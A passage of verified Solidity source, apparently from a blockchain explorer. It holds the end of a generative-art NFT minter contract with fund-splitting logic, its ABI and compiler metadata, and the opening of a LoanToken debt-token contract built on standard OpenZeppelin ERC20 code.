ONE_MILLION = 1_000_000; address payable public ownerAddress; uint256 public ownerPercentage; mapping(uint256 => bool) public projectIdToBonus; mapping(uint256 => address) public projectIdToBonusContractAddress; mapping(uint256 => bool) public contractFilterProject; mapping(address => mapping (uint256 => uint256)) public projectMintCounter; mapping(uint256 => uint256) public projectMintLimit; mapping(uint256 => bool) public projectMaxHasBeenInvoked; mapping(uint256 => uint256) public projectMaxInvocations; constructor(address _genArt721Address) public { genArtCoreContract=GenArt721CoreV2(_genArt721Address); } function getYourBalanceOfProjectERC20(uint256 _projectId) public view returns (uint256){ uint256 balance = ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).balanceOf(msg.sender); return balance; } function checkYourAllowanceOfProjectERC20(uint256 _projectId) public view returns (uint256){ uint256 remaining = ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).allowance(msg.sender, address(this)); return remaining; } function setProjectMintLimit(uint256 _projectId,uint8 _limit) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); projectMintLimit[_projectId] = _limit; } function setProjectMaxInvocations(uint256 _projectId) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); uint256 maxInvocations; uint256 invocations; ( , , invocations, maxInvocations, , , , , ) = genArtCoreContract.projectTokenInfo(_projectId); projectMaxInvocations[_projectId] = maxInvocations; if (invocations < maxInvocations) { projectMaxHasBeenInvoked[_projectId] = false; } } function setOwnerAddress(address payable _ownerAddress) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); ownerAddress = _ownerAddress; } function setOwnerPercentage(uint256 _ownerPercentage) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); ownerPercentage = _ownerPercentage; } function toggleContractFilter(uint256 _projectId) public { require(genArtCoreContract.isWhitelisted(msg.sender), "can only be set by admin"); contractFilterProject[_projectId]=!contractFilterProject[_projectId]; } function artistToggleBonus(uint256 _projectId) public { require(msg.sender==genArtCoreContract.projectIdToArtistAddress(_projectId), "can only be set by artist"); projectIdToBonus[_projectId]=!projectIdToBonus[_projectId]; } function artistSetBonusContractAddress(uint256 _projectId, address _bonusContractAddress) public { require(msg.sender==genArtCoreContract.projectIdToArtistAddress(_projectId), "can only be set by artist"); projectIdToBonusContractAddress[_projectId]=_bonusContractAddress; } function purchase(uint256 _projectId) public payable returns (uint256 _tokenId) { return purchaseTo(msg.sender, _projectId); } // Remove `public`` and `payable`` to prevent public use // of the `purchaseTo`` function. function purchaseTo(address _to, uint256 _projectId) public payable returns(uint256 _tokenId){ require(!projectMaxHasBeenInvoked[_projectId], "Maximum number of invocations reached"); if (keccak256(abi.encodePacked(genArtCoreContract.projectIdToCurrencySymbol(_projectId))) != keccak256(abi.encodePacked("ETH"))){ require(msg.value==0, "this project accepts a different currency and cannot accept ETH"); require(ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).allowance(msg.sender, address(this)) >= genArtCoreContract.projectIdToPricePerTokenInWei(_projectId), "Insufficient Funds Approved for TX"); require(ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).balanceOf(msg.sender) >= genArtCoreContract.projectIdToPricePerTokenInWei(_projectId), "Insufficient balance."); _splitFundsERC20(_projectId); } else { require(msg.value>=genArtCoreContract.projectIdToPricePerTokenInWei(_projectId), "Must send minimum value to mint!"); _splitFundsETH(_projectId); } // if contract filter is active prevent calls from another contract if (contractFilterProject[_projectId]) require(msg.sender == tx.origin, "No Contract Buys"); // limit mints per address by project if (projectMintLimit[_projectId] > 0) { require(projectMintCounter[msg.sender][_projectId] < projectMintLimit[_projectId], "Reached minting limit"); projectMintCounter[msg.sender][_projectId]++; } uint256 tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender); // What if this overflows, since default value of uint256 is 0? // That is intended, so that by default the minter allows infinite // transactions, allowing the `genArtCoreContract` to stop minting // `uint256 tokenInvocation = tokenId % ONE_MILLION;` if (tokenId % ONE_MILLION == projectMaxInvocations[_projectId]-1){ projectMaxHasBeenInvoked[_projectId] = true; } if (projectIdToBonus[_projectId]){ require(BonusContract(projectIdToBonusContractAddress[_projectId]).bonusIsActive(), "bonus must be active"); BonusContract(projectIdToBonusContractAddress[_projectId]).triggerBonus(msg.sender); } return tokenId; } function _splitFundsETH(uint256 _projectId) internal { if (msg.value > 0) { uint256 pricePerTokenInWei = genArtCoreContract.projectIdToPricePerTokenInWei(_projectId); uint256 refund = msg.value.sub(genArtCoreContract.projectIdToPricePerTokenInWei(_projectId)); if (refund > 0) { msg.sender.transfer(refund); } uint256 renderProviderAmount = pricePerTokenInWei.div(100).mul(genArtCoreContract.renderProviderPercentage()); if (renderProviderAmount > 0) { genArtCoreContract.renderProviderAddress().transfer(renderProviderAmount); } uint256 remainingFunds = pricePerTokenInWei.sub(renderProviderAmount); uint256 ownerFunds = remainingFunds.div(100).mul(ownerPercentage); if (ownerFunds > 0) { ownerAddress.transfer(ownerFunds); } uint256 projectFunds = pricePerTokenInWei.sub(renderProviderAmount).sub(ownerFunds); uint256 additionalPayeeAmount; if (genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId) > 0) { additionalPayeeAmount = projectFunds.div(100).mul(genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId)); if (additionalPayeeAmount > 0) { genArtCoreContract.projectIdToAdditionalPayee(_projectId).transfer(additionalPayeeAmount); } } uint256 creatorFunds = projectFunds.sub(additionalPayeeAmount); if (creatorFunds > 0) { genArtCoreContract.projectIdToArtistAddress(_projectId).transfer(creatorFunds); } } } function _splitFundsERC20(uint256 _projectId) internal { uint256 pricePerTokenInWei = genArtCoreContract.projectIdToPricePerTokenInWei(_projectId); uint256 renderProviderAmount = pricePerTokenInWei.div(100).mul(genArtCoreContract.renderProviderPercentage()); if (renderProviderAmount > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, genArtCoreContract.renderProviderAddress(), renderProviderAmount); } uint256 remainingFunds = pricePerTokenInWei.sub(renderProviderAmount); uint256 ownerFunds = remainingFunds.div(100).mul(ownerPercentage); if (ownerFunds > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, ownerAddress, ownerFunds); } uint256 projectFunds = pricePerTokenInWei.sub(renderProviderAmount).sub(ownerFunds); uint256 additionalPayeeAmount; if (genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId) > 0) { additionalPayeeAmount = projectFunds.div(100).mul(genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId)); if (additionalPayeeAmount > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, genArtCoreContract.projectIdToAdditionalPayee(_projectId), additionalPayeeAmount); } } uint256 creatorFunds = projectFunds.sub(additionalPayeeAmount); if (creatorFunds > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, genArtCoreContract.projectIdToArtistAddress(_projectId), creatorFunds); } } }

[{"constant":false,"inputs":[{"name":"_projectId","type":"uint256"},{"name":"_limit","type":"uint8"}],"name":"setProjectMintLimit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_ownerAddress","type":"address"}],"name":"setOwnerAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_ownerPercentage","type":"uint256"}],"name":"setOwnerPercentage","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"uint256"}],"name":"projectMintCounter","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_projectId","type":"uint256"},{"name":"_bonusContractAddress","type":"address"}],"name":"artistSetBonusContractAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"ownerPercentage","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"projectMaxHasBeenInvoked","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"projectMaxInvocations","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_projectId","type":"uint256"}],"name":"toggleContractFilter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"projectMintLimit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"projectIdToBonus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"projectIdToBonusContractAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"genArtCoreContract","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_projectId","type":"uint256"}],"name":"purchaseTo","outputs":[{"name":"_tokenId","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"ownerAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_projectId","type":"uint256"}],"name":"artistToggleBonus","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_projectId","type":"uint256"}],"name":"getYourBalanceOfProjectERC20","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_projectId","type":"uint256"}],"name":"purchase","outputs":[{"name":"_tokenId","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"_projectId","type":"uint256"}],"name":"checkYourAllowanceOfProjectERC20","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_projectId","type":"uint256"}],"name":"setProjectMaxInvocations","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"contractFilterProject","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_genArt721Address","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]

v0.5.0+commit.1d4f565a

00000000000000000000000028f2d3805652fb5d359486dffb7d08320d403240

Default

MIT

bzzr://018e9db6fc87de3b4ec6751ef408a6dbf1f5884a0acfe1bee5d98f034c62d864

LoanToken

LoanToken.sol

0xa6be941081f36abf11fd76f7957aefa2370f77a2

Solidity

/* .'''''''''''.. ..''''''''''''''''.. ..'''''''''''''''.. .;;;;;;;;;;;'. .';;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;;;;;;;;;;;,. ';;;;;;;;'. .';;;;;;;;;;;;;;;;;;;;;;,. .';;;;;;;;;;;;;;;;;;;;;,. ';;;;;,.. .';;;;;;;;;;;;;;;;;;;;;;;,..';;;;;;;;;;;;;;;;;;;;;;,. ...... .';;;;;;;;;;;;;,'''''''''''.,;;;;;;;;;;;;;,'''''''''.. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .;;;;;;;;;;;;;,. ..... .;;;;;;;;;;;;;'. ..';;;;;;;;;;;;;'. .',;;;;,'. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .';;;;;;;;;;. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .;;;;;;;;;;;,. .,;;;;;;;;;;;;;'...........,;;;;;;;;;;;;;;. .;;;;;;;;;;;,. .,;;;;;;;;;;;;,..,;;;;;;;;;;;;;;;;;;;;;;;,. ..;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;;,. .',;;;,,.. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;,. .... ..',;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. ..',;;;;'. .,;;;;;;;;;;;;;;;;;;;'. ...'.. .';;;;;;;;;;;;;;,,,'. ............... */ // SPDX-License-Identifier: MIT pragma solidity 0.6.10; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero") ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface ILoanToken is IERC20 { enum Status {Awaiting, Funded, Withdrawn, Settled, Defaulted, Liquidated} function borrower() external view returns (address); function amount() external view returns (uint256); function term() external view returns (uint256); function apy() external view returns (uint256); function start() external view returns (uint256); function lender() external view returns (address); function debt() external view returns (uint256); function profit() external view returns (uint256); function status() external view returns (Status); function borrowerFee() external view returns (uint256); function receivedAmount() external view returns (uint256); function isLoanToken() external pure returns (bool); function getParameters() external view returns ( uint256, uint256, uint256 ); function fund() external; function withdraw(address _beneficiary) external; function close() external; function liquidate() external; function redeem(uint256 _amount) external; function repay(address _sender, uint256 _amount) external; function reclaim() external; function allowTransfer(address account, bool _status) external; function repaid() external view returns (uint256); function balance() external view returns (uint256); function value(uint256 _balance) external view returns (uint256); function currencyToken() external view returns (IERC20); function version() external pure returns (uint8); } /** * @title LoanToken * @dev A token which represents share of a debt obligation * * Each LoanToken has: * - borrower address * - borrow amount * - loan term * - loan APY * * Loan progresses through the following states: * Awaiting: Waiting for funding to meet capital requirements * Funded: Capital requirements met, borrower can withdraw * Withdrawn: Borrower withdraws money, loan waiting to be repaid * Settled: Loan has been paid back in full with interest * Defaulted: Loan has not been paid back in full * Liquidated: Loan has Defaulted and stakers have been Liquidated * * - LoanTokens are non-transferable except for whitelisted addresses * - This version of LoanToken only supports a single funder */ contract LoanToken is ILoanToken, ERC20 { using SafeMath for uint256; uint128 public constant lastMinutePaybackDuration = 1 days; uint8 public constant override version = 3; address public override borrower; address public liquidator; uint256 public override amount; uint256 public override term; uint256 public override apy; uint256 public override start; address public override lender; uint256 public override debt; uint256 public redeemed; // borrow fee -> 25 = 0.25% uint256 public override 